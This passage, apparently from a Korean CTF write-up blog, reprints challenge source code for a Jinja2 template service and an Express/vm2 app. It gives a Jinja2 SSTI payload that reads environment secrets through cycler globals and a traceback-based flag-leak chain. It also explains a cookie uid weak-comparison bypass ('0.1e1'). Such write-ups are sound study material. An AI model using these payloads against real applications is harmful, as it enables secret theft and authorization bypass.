            content = f.read()
            print(content)
            if('flag' in content):
                return 'ᕙ(^▿^-ᕙ)',400,{'Content-Type': 'text/plain;charset=utf-8'}
            return content,200,{'Content-Type':'text/html'} 
    except:
        return 'Smth bad happened',500
if(__name__ == '__main__'):
    app.run(host='0.0.0.0',port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;#cli.py

#!/usr/bin/env python3
import re
import os
import base64
import hashlib
from jinja2 import Template

flag = os.getenv('FLAG','flag{test-flag}')

def checkFilename(s):
    if('/' in s or not 5 &amp;lt; len(s) &amp;lt; 30):
        raise 'Bad filename'

def printMenu():
    print('1. Create')
    print('2. Rename')
    print('3. List')
    print('4. Compile')
    print('5. Flag')
    print('6. Exit')

def handleCreateFile():
    filename = input('Filename &amp;gt; ')
    fileContent = base64.b64decode(input('Base64 encoded content &amp;gt; '))

    checkFilename(filename)
    if(len(fileContent) &amp;gt; 500):
        raise 'too large'

    with open('./'+filename,'wb') as f:
        f.write(fileContent)

    print('Created the file!')

def handleRenameFile():
    sFilename = input('From filename &amp;gt; ')
    tFilename = input('To filename &amp;gt; ')

    checkFilename(sFilename)
    checkFilename(tFilename)

    os.rename(sFilename,tFilename)
    print('Renamed the file!')

def handleCompile():
    tFilename = input('Enter template filename &amp;gt; ')
    oFilename = input('Enter output filename &amp;gt; ')
    checkFilename(tFilename)
    checkFilename(oFilename)

    with open('./'+tFilename) as f:
        fileContent = f.read()
        if('(' in fileContent):
            raise 'Ahh not allowed sorry!'
        t = Template(fileContent).render()
        with open(oFilename,'w') as ff:
            ff.write(t)
    print('Template compiled!')

def handleFlag():
    with open('./flag.txt','w') as f:
        f.write(flag)
    print('Wrote the flag file!')

def handleListdir():
    print('\n'.join(os.listdir()))


def getUserFolderDir(ip):
    print(ip)
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(ip.encode()).hexdigest()
    return r

if(__name__ == '__main__'):
    cwdDir = getUserFolderDir(os.getenv('SOCAT_PEERADDR','127.0.0.1'))
    if(not os.path.exists(cwdDir)):
        os.makedirs(cwdDir)

    os.chdir(cwdDir)

    handlers = [handleCreateFile,handleRenameFile,handleListdir,handleCompile,handleFlag,exit]
    while(1):
        printMenu()
        handlers[int(input('Input Selection\n&amp;gt; '))-1]()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;unintend 풀이가 존재했던 코드 입니다. 저는 env에 flag가 존재했기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{%set a=cycler['__init__']['__globals__']['os']['environ']['FLAG']%}{%for b in a%}{{['a',b]|join}}{%endfor%}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 payload로 풀이가 가능합니다. app.py에서 flag필터링은 flag 한문자 마다 a를 추가하여 필터링을 우회하여 풀이했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;113&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Swvof/btrLLYW5lZm/pYH9BcNIYVHRTFDoZZQQ4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Swvof/btrLLYW5lZm/pYH9BcNIYVHRTFDoZZQQ4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Swvof/btrLLYW5lZm/pYH9BcNIYVHRTFDoZZQQ4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSwvof%2FbtrLLYW5lZm%2FpYH9BcNIYVHRTFDoZZQQ4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;113&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;113&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 패치가 되었습니다. env가 아니라 파일에서 읽어오기에 rce가 필요했지만 rce는 할 수 없다고 판단했습니다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;#patched cli.py

#!/usr/bin/env python3
import re
import os
import base64
import hashlib
import uuid
from jinja2 import Template

def checkFilename(s):
    print(s)
    if('/' in s or not 5 &amp;lt; len(s) &amp;lt; 30):
        raise 'Bad filename'

def printMenu():
    print('1. Create')
    print('2. Rename')
    print('3. List')
    print('4. Compile')
    print('5. Flag')
    print('6. Exit')

def handleCreateFile():
    filename = input('Filename &amp;gt; ')
    fileContent = base64.b64decode(input('Base64 encoded content &amp;gt; '))

    checkFilename(filename)
    if(len(fileContent) &amp;gt; 500):
        raise 'too large'

    with open('./'+filename,'wb') as f:
        f.write(fileContent)

    print('Created the file!')

def handleRenameFile():
    sFilename = input('From filename &amp;gt; ')
    tFilename = input('To filename &amp;gt; ')

    checkFilename(sFilename)
    checkFilename(tFilename)

    os.rename(sFilename,tFilename)
    print('Renamed the file!')

def handleCompile():
    tFilename = input('Enter template filename &amp;gt; ')
    oFilename = input('Enter output filename &amp;gt; ')
    checkFilename(tFilename)
    checkFilename(oFilename)

    with open('./'+tFilename) as f:
        fileContent = f.read()
        if('(' in fileContent or '.' in fileContent):
            raise 'Ahh not allowed sorry!'
        t = Template(fileContent).render()
        with open(oFilename,'w') as ff:
            ff.write(t)
    print('Template compiled!')

def handleFlag():
    with open('./flag.txt','w') as f:
        f.write(open('/flag').read())
    print('Wrote the flag file!')

def handleListdir():
    print('\n'.join(os.listdir()))


def getUserFolderDir(userUUID):
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(userUUID.encode()).hexdigest()
    return r

if(__name__ == '__main__'):
    inp = input('Enter your uuid or ENTER to create a new environment: ')
    userUUID = None

    if(len(inp) == 0):
        userUUID = uuid.uuid4().__str__()
        print(f'Your UUID is {userUUID}')
    else:
        if(not re.match('^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$',inp)):
            print('Incorrect UUID')
            exit(0)
        userUUID = inp

    cwdDir = getUserFolderDir(userUUID)
    if(not os.path.exists(cwdDir)):
        os.makedirs(cwdDir)

    os.chdir(cwdDir)

    handlers = [handleCreateFile,handleRenameFile,handleListdir,handleCompile,handleFlag,exit]
    while(1):
        printMenu()
        handlers[int(input('Input Selection\n&amp;gt; '))-1]()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스를 읽어보며 아무리 봐도 취약점이 존재하지 않는다고 판단했습니다. 하지만 error log에서 File &quot;&quot;을 발견했고 이에 대해 분석하기 위해 jinja2의 코드를 읽었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8VJk/btrLPdse8xw/V7Jqqh4L9IW2CgPiOiqHi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8VJk/btrLPdse8xw/V7Jqqh4L9IW2CgPiOiqHi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8VJk/btrLPdse8xw/V7Jqqh4L9IW2CgPiOiqHi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8VJk%2FbtrLPdse8xw%2FV7Jqqh4L9IW2CgPiOiqHi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;707&quot; height=&quot;260&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;error log를 보면 에러가 TemplateSyntaxError 인것을 알 수 있어 발생하는 부분을 보면 디버깅 해본 결과 jinja2의 rewrite_traceback_stack()에서 error 파싱을 시작하고 error 발생했을 시 filename이 none으로 입력되기에 filename은 으로 들어가게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;513&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coLWeU/btrLQxRxcYK/zqDF2kxNgjvfH84ODkcfkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coLWeU/btrLQxRxcYK/zqDF2kxNgjvfH84ODkcfkK/img.png&quot; data-alt=&quot;rewrite_traceback_stack&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coLWeU/btrLQxRxcYK/zqDF2kxNgjvfH84ODkcfkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoLWeU%2FbtrLQxRxcYK%2FzqDF2kxNgjvfH84ODkcfkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;513&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;513&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;rewrite_traceback_stack&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def fake_traceback(  # type: ignore
    exc_value: BaseException, tb: t.Optional[TracebackType], filename: str, lineno: int
) -&amp;gt; TracebackType:
    &quot;&quot;&quot;Produce a new traceback object that looks like it came from the
    template source instead of the compiled code. The filename, line
    number, and location name will point to the template, and the local
    variables will be the current template context.

    :param exc_value: The original exception to be re-raised to create
        the new traceback.
    :param tb: The original traceback to get the local variables and
        code info from.
    :param filename: The template filename.
    :param lineno: The line number in the template source.
    &quot;&quot;&quot;
    if tb is not None:
        # Replace the real locals with the context that would be
        # available at that point in the template.
        locals = get_template_locals(tb.tb_frame.f_locals)
        locals.pop(&quot;__jinja_exception__&quot;, None)
    else:
        locals = {}

    globals = {
        &quot;__name__&quot;: filename,
        &quot;__file__&quot;: filename,
        &quot;__jinja_exception__&quot;: exc_value,
    }
    # Raise an exception at the correct line number.
    code: CodeType = compile(
        &quot;\n&quot; * (lineno - 1) + &quot;raise __jinja_exception__&quot;, filename, &quot;exec&quot;
    )

    # Build a new code object that points to the template file and
    # replaces the location with a block name.
    location = &quot;template&quot;

    if tb is not None:
        function = tb.tb_frame.f_code.co_name

        if function == &quot;root&quot;:
            location = &quot;top-level template code&quot;
        elif function.startswith(&quot;block_&quot;):
            location = f&quot;block {function[6:]!r}&quot;

    if sys.version_info &amp;gt;= (3, 8):
        code = code.replace(co_name=location)
    else:
        code = CodeType(
            code.co_argcount,
            code.co_kwonlyargcount,
            code.co_nlocals,
            code.co_stacksize,
            code.co_flags,
            code.co_code,
            code.co_consts,
            code.co_names,
            code.co_varnames,
            code.co_filename,
            location,
            code.co_firstlineno,
            code.co_lnotab,
            code.co_freevars,
            code.co_cellvars,
        )

    # Execute the new code, which is guaranteed to raise, and return
    # the new traceback without this frame.
    try:
        exec(code, globals, locals)
    except BaseException:
        return sys.exc_info()[2].tb_next  # type: ignore&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;python에서 디버깅을 했을 때는 도대체 어디서 출력되는 지 몰랐습니다.&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;code: CodeType = compile(
        &quot;\n&quot; * (lineno - 1) + &quot;raise __jinja_exception__&quot;, filename, &quot;exec&quot;
    )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디버깅을 통하여 해당 부분에서 출력이 된다는 것을 알 수 있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQQ2YV/btrLSumKuKJ/vHXihSNfSymaCECabjTotK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQQ2YV/btrLSumKuKJ/vHXihSNfSymaCECabjTotK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQQ2YV/btrLSumKuKJ/vHXihSNfSymaCECabjTotK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQQ2YV%2FbtrLSumKuKJ%2FvHXihSNfSymaCECabjTotK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;882&quot; height=&quot;359&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;raise __jinja_exception__에서 출력 된다는 것을 알 수있고 처음에는 raise에서 발생하는 줄 알았지만 그것도 아니었습니다. 궁금해서 print(__jinja_exception__)로 바꿔서 실행도 해보았지만 똑같이 출력되었습니다. 그래서 error를 출력 해주는 부분 자체에서 출력해주는 것을 알 수 있었습니다. 해당 부분은 python으로 구현 되어 있지 않은 것 같았고 그래서 cpython 코드를 보았습니다. python에서 error를 출력할 때 Traceback을 실행시켜 주는데 filename으로 open 후 출력 해줍니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmOHWK/btrLNqFFgEw/bttSAUCMaYj5246BDIW000/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmOHWK/btrLNqFFgEw/bttSAUCMaYj5246BDIW000/img.png&quot; data-alt=&quot;cpython의 traceback.c 입니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmOHWK/btrLNqFFgEw/bttSAUCMaYj5246BDIW000/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmOHWK%2FbtrLNqFFgEw%2FbttSAUCMaYj5246BDIW000%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;281&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;cpython의 traceback.c 입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;331&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5FDwR/btrLR9iEgW1/1lJQfSejadR8PvJT3NdCk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5FDwR/btrLR9iEgW1/1lJQfSejadR8PvJT3NdCk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5FDwR/btrLR9iEgW1/1lJQfSejadR8PvJT3NdCk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5FDwR%2FbtrLR9iEgW1%2F1lJQfSejadR8PvJT3NdCk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;331&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;331&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;File &quot;&quot;, line 1, in 와 같은 에러가 있을 때 filename이 python이 실행되는 파일이 있는 경로에 파일이 있다면 출력해줍니다. 해당 기능으로 플래그 출력이 가능했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 5 Flag flag.txt 파일 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 2. Rename flag.txt -&amp;gt; 파일 이름 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 1. Create qwerqwer -&amp;gt; {{'}} error 발생하는 코드로 파일 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 4. Compile qwerqwer -&amp;gt; zxvczxcv compile error와 함께 flag 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;1223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nQQiK/btrLLYW9Xp2/DkzJGAlZIy3N1twn3hFK0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nQQiK/btrLLYW9Xp2/DkzJGAlZIy3N1twn3hFK0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nQQiK/btrLLYW9Xp2/DkzJGAlZIy3N1twn3hFK0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnQQiK%2FbtrLLYW9Xp2%2FDkzJGAlZIy3N1twn3hFK0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;935&quot; height=&quot;1223&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;1223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Web - baby js&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;#!/usr/bin/env node
const express = require('express')
const cookieParser = require('cookie-parser')
const bodyParser = require('body-parser')
const fs = require('fs')
const crypto = require('crypto')
const vm2 = require('vm2')

const app = express()
const hashPasswd = p =&amp;gt; { return crypto.createHash('sha256').update(p).digest('hex') }
const rand = _ =&amp;gt; { return crypto.randomBytes(Math.ceil(0x32/2)).toString('hex').slice(0,0x32) }
const now = () =&amp;gt; { return Math.floor(+new Date()/1000) }
const checkoutTimes = new Map()
const users = new Set()
var lastUid = 0

app.use(cookieParser())
app.use(bodyParser.json())

app.use((req,res,next) =&amp;gt; {
    req.userUid = -1
    req.userData = &quot;&quot;

    let data = req.cookies.data
    let uid = req.cookies.uid
    let passwd = req.cookies.passwd

    if(uid == undefined || passwd == undefined)
        return next()

    let found = false
    for(let e of users.entries())
        if(e[0].uid == uid &amp;amp;&amp;amp; e[0].password == passwd){
            console.log('uid : ', typeof(uid))
            console.log(&quot;users : &quot;, typeof(e[0].uid))
            found = true
        }


    if(found){
        req.userUid = uid
        req.userData = data
    }

    next()
})

app.get('/',(req,res) =&amp;gt; {
    res.type('text/plain').send(&quot;hack me ( ﾟ▽ﾟ)/ :)&quot;)
})

app.post('/login',(req,res) =&amp;gt; {
    const {username, password }= req.body

    if(!username || !password)
        return res.json({ error: true, msg: &quot;Bad params :(&quot; })

    let u = null
    for(let e of users.entries())
        if(e[0].username == username)
            u = e[0]

    if(!u)
        return res.json({ error: true, msg: &quot;User not found&quot; })

    let hashedPassword = hashPasswd(password.toString().slice(-0x20))
    if(u.password != hashedPassword)
        return res.json({ error: true, msg: &quot;Wrong password :(&quot; })

    res.cookie('uid',u.uid)
    res.cookie('passwd',hashedPassword)
    res.json({ error: false, msg: &quot;Logged in&quot; })
})

app.post('/register',(req,res) =&amp;gt; {
    const { username, password }= req.body
    console.log(req.body);
    if(!username || !password)
        return res.json({ error: true, msg: &quot;Bad params&quot; })

    for(let e of users.entries())
        if(e[0].username == username)
            return res.json({ error: true, msg: &quot;Username exists&quot; })

    let hashedPassword = hashPasswd(password.toString().slice(-0x20))
    let uid = lastUid++

    users.add({
        username: username.toString().slice(-0x20),
        password: hashedPassword,
        uid: uid
    })

    res.cookie('uid',uid)
    res.cookie('passwd',hashedPassword)
    res.json({ error: false, msg: &quot;Registered&quot; })
})

app.get('/checkout',(req,res) =&amp;gt; {
    if(req.userUid == -1 || !req.userData)
        return res.json({ error: true, msg: &quot;Login first&quot; })
    console.log(req.userUid)
    if(parseInt(req.userUid) != 0)
        return res.json({ error: true, msg: &quot;You can't do this sorry&quot; })

    if(checkoutTimes.has(req.ip) &amp;amp;&amp;amp; checkoutTimes.get(req.ip)+1 &amp;gt; now()) {
        return res.json({ error: true, msg: 'too fast'})
    }
    checkoutTimes.set(req.ip,now())

    let sbx = {
        readFile: (path) =&amp;gt; {
            if(!(new String(path).toString()).includes('flag'))
                return fs.readFileSync(path,{encoding: &quot;utf-8&quot;})
            return null
        },
        sum: (args) =&amp;gt; args.reduce((a,b)=&amp;gt;a+b),
    }

    let vm = new vm2.VM({
        timeout: 20,
        sandbox: sbx,
        fixAsync: true,
        eval: false
    })

    let result = &quot;:(&quot;;
    try {
        console.log(`sum([${req.userData}])`);
        result = new String(vm.run(`sum([${req.userData}])`))
    } catch (e) {}
    res.type('text/plain').send(result)
})

app.listen(8000,()=&amp;gt;console.log('Listening on 8000...'))
users.add({ username: &quot;admin&quot;, password: hashPasswd(rand()), uid: lastUid++ })&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 코드 설명을 하면 register와 login이 있고 checkout은 uid가 0일 때만 가능합니다. 하지만 admin 계정이 존재했기에 1부터 생성이 가능했습니다. parseInt(req.userUid) != 0 조건을 만족시켜야 했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buLHsX/btrLLyEtnZp/6Pi8v10MCe13sdgiLtmUY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buLHsX/btrLLyEtnZp/6Pi8v10MCe13sdgiLtmUY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buLHsX/btrLLyEtnZp/6Pi8v10MCe13sdgiLtmUY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuLHsX%2FbtrLLyEtnZp%2F6Pi8v10MCe13sdgiLtmUY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;785&quot; height=&quot;1108&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lastUid는 int일 것이고 uid는 cookie에서 받아왔기에 str일 것 입니다. 그럼 약한 비교이기에 ToNumber(uid)가 실행될 것이고 다음과 같은 결과가 나올 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;84&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pRzyM/btrLPnVZRZg/Lu4xwPw7jX7I1fR467WKdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pRzyM/btrLPnVZRZg/Lu4xwPw7jX7I1fR467WKdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pRzyM/btrLPnVZRZg/Lu4xwPw7jX7I1fR467WKdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpRzyM%2FbtrLPnVZRZg%2FLu4xwPw7jX7I1fR467WKdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;84&quot; height=&quot;110&quot; data-origin-width=&quot;84&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;245&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ2nFW/btrLNwFUdXZ/5SRhef4jKFkcojSVVKKtC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ2nFW/btrLNwFUdXZ/5SRhef4jKFkcojSVVKKtC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ2nFW/btrLNwFUdXZ/5SRhef4jKFkcojSVVKKtC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ2nFW%2FbtrLNwFUdXZ%2F5SRhef4jKFkcojSVVKKtC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;245&quot; height=&quot;261&quot; data-origin-width=&quot;245&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;parseInt() 함수의 return은 소수점 이하는 버리는 것 같습니다. 그렇다면 0.1e1이 약한 비교할 때 ToNumber()할 때 연산이 되어 들어간다면 우회가 가능할 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;103&quot; data-origin-height=&quot;69&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBidXP/btrLNwy6z2b/ba7xS6QOxqJk85tBQfY5X1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBidXP/btrLNwy6z2b/ba7xS6QOxqJk85tBQfY5X1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBidXP/btrLNwy6z2b/ba7xS6QOxqJk85tBQfY5X1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBidXP%2FbtrLNwy6z2b%2Fba7xS6QOxqJk85tBQfY5X1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;103&quot; height=&quot;69&quot; data-origin-width=&quot;103&quot; data-origin-height=&quot;69&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test를 해봤더니 true가 나왔습니다. 그렇기에 checkout 기능을 사용할 수 있습니다.&lt;/p&gt;
